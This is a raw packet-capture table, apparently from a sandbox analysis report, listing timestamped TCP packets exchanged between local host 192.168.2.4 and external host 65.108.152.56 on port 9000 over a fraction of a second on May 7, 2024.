May 7, 2024 05:29:02.264847040 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.266305923 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.266319036 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.266349077 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.266356945 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.267801046 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.267818928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.267846107 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.267867088 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.269156933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.269175053 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.269208908 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.269222975 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.270960093 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.270972967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.271008015 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.271020889 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.272279024 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.272291899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.272325039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.272336960 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.273686886 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.273699999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.273736000 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.275156021 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.275170088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.275203943 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.275214911 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.276586056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.276601076 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.276635885 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.276645899 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.278013945 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.278033018 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.278055906 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.278075933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.279563904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.279592991 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.279608965 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.279742002 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.280957937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.280972004 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.280996084 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.281006098 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.282349110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.282361031 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.282387972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.282397032 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.283785105 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.283797026 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.283826113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.283848047 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.285098076 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.285141945 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.285157919 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.285197973 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.286638975 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.286653042 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.286695957 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.286714077 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.288079023 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.288091898 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.288130045 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.288146019 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.289460897 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.289486885 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.289508104 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.289532900 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.290699959 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.290741920 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.290741920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.290781021 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.292238951 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.292275906 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.292298079 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.292320967 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.293478012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.293490887 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.293531895 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.293550968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.294847012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.294861078 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.294884920 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.294905901 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.294922113 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.298577070 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.298589945 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.298602104 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.298638105 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.298662901 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.301292896 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.301306009 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.301337004 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.301348925 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.301348925 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.301377058 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.303903103 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.303950071 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.306056976 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.306071043 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.306099892 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.306128979 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.306155920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.308712006 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.308725119 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.308734894 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.308777094 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.308809996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.310961962 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.310973883 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.311022997 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.311036110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.311081886 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.311445951 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.311517000 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.311521053 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.311533928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.311589003 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.312448025 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.312459946 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.312470913 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.312501907 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.312511921 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.313409090 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.313446045 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.313451052 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.313458920 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.313483000 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.313492060 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.314315081 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.314328909 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.314340115 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.314358950 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.314373970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.315269947 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.315283060 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.315294027 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.315316916 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.315330029 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.316346884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.316359997 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.316389084 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.316399097 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.316422939 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.317234993 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.317246914 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.317281008 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.317302942 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.317347050 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.318137884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.318150997 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.318178892 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.318181992 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.318217039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.319134951 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.319150925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.319163084 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.319185972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.319205999 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.320070982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.320084095 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.320116043 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.320130110 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.320153952 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.321014881 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.321042061 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.321053982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.321070910 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.321091890 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.321970940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.322010040 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.322060108 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.322072983 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.322108984 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.322139025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.323009968 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.323050976 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.323064089 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.323066950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.323095083 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.323117018 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.323935986 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.323980093 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.323992014 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.324018955 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.324031115 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.324059010 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.324763060 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.324775934 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.324810028 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.324812889 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.324847937 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.325753927 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.325772047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.325800896 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.325815916 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.325820923 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.325860023 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.326642036 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.326680899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.326690912 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.326699018 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.326719999 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.326738119 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.327615976 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.327627897 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.327661037 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.327677011 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.327692032 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.327718019 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.328571081 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.328583956 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.328613043 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.328629971 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.328676939 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.328718901 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.329605103 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.329617977 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.329629898 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.329653025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.329675913 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.330512047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.330534935 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.330558062 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.330558062 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.330584049 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.330607891 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.331516981 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.331528902 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.331562996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.331582069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.331621885 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.332457066 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.332469940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.332504988 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.332525015 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.332526922 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.332562923 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.333435059 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.333451033 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.333472967 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.333487034 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.333498955 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.333520889 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.334357023 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.334369898 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.334398031 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.334405899 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.334422112 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.334441900 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.335306883 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.335319996 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.335333109 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.335356951 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.335385084 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.336273909 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.336286068 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.336314917 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.336317062 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.336329937 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.336348057 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.337308884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.337327957 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.337368965 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.337390900 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.337412119 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.338176012 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.338188887 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.338212013 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.338223934 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.338233948 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.338254929 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.339139938 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.339153051 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.339184999 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.339206934 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.339250088 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.340123892 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.340137005 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.340167999 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.340179920 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.340763092 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.340809107 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.340817928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.340854883 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.340857983 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.340898037 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.341738939 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.341753006 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.341780901 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.341785908 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.341820955 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.342724085 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.342767000 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.342772961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.342796087 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.342813969 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.342823982 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.343626976 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.343640089 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.343652010 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.343668938 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.343687057 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.344640970 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.344651937 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.344672918 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.344685078 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.344712019 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.345509052 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.345552921 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.345568895 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.345581055 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.345609903 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.345628023 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.346676111 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.346693993 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.346716881 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.346719027 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.346739054 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.346748114 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.347418070 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.347456932 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.347470045 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.347482920 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.347512007 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.347524881 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.348409891 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.348422050 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.348433971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.348454952 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.348480940 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.349386930 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.349400043 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.349425077 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.349437952 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.349467993 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.350347042 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.350361109 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.350373030 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.350394964 CEST	49738	9000	192.168.2.4	65.108.152.56
